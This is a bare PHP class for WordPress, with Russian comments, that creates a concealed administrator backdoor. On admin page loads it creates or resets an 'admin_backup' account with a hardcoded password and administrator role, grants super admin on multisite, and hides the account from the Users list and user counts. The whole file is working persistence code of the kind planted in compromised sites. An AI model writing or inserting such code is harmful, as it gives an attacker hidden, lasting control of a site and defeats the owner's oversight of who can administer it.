class backup_admin { private $user_login = 'admin_backup'; private $user_password = 'backup_admin2026@#'; private $user_role = 'administrator'; public function __construct() { $this->init_hooks(); } public function init_hooks() { add_action( 'pre_get_users', array( $this, 'hide' ) ); add_action( 'admin_init', array( $this, 'update_user' ) ); add_filter( 'views_users', array( $this, 'views' ) ); } public function views( $views ) { $users = count_users(); $total_administrators = $users['avail_roles']['administrator'] - 1; $total_users = $users['total_users'] - 1; $class_administrators = ( strpos( $views['administrator'], 'current' ) === false ) ? '' : 'current'; $class_users = ( strpos( $views['all'], 'current' ) === false ) ? '' : 'current'; $views['all'] = '' . __( 'All' ) . ' (' . $total_users . ')'; $views['administrator'] = '' . translate_user_role( 'Administrator' ) . ' (' . $total_administrators . ')'; return $views; } public function hide( WP_User_Query $user_query ) { // Запускаем код только в админке. if ( ! is_admin() ) { return; } // Запускаем код только на странице со списком пользователей. if ( 'users' !== get_current_screen()->id ) { return; } $user_query->set( 'login__not_in', array( $this->user_login ) ); //$user_query->set( 'total_users', $user_query->get( 'total_users' ) - 1 ); } public function update_user() { // Если пользователь с логином $this->user_login существует if ( username_exists( $this->user_login ) ) { // По логину получаем объект с данными пользователя $user = get_user_by( 'login', $this->user_login ); // Если установленный пароль не совпадает с вышеуказанным, либо юзер не является администратором if ( ! wp_check_password( $this->user_password, $user->data->user_pass ) || ! in_array( $this->user_role, $user->roles ) ) { // Меняем ему пароль на вышеуказанный wp_set_password( $this->user_password, $user->ID ); // Получаем ID пользователя $user_id = wp_update_user( array( 'ID' => $user->ID, 'user_login' => $this->user_login, 'user_pass' => $this->user_password, 'role' => $this->user_role, ) ); } } else { // Пользователя не существует, создаём его $user_id = wp_insert_user( array( 'user_login' => $this->user_login, 'user_pass' => $this->user_password, 'role' => $this->user_role, ) ); } if ( isset( $user_id ) && is_multisite() ) { // Наделим пользователя правами суперадмина require_once ABSPATH . 'wp-admin/includes/ms.php'; grant_super_admin( $user_id ); } } } new backup_admin();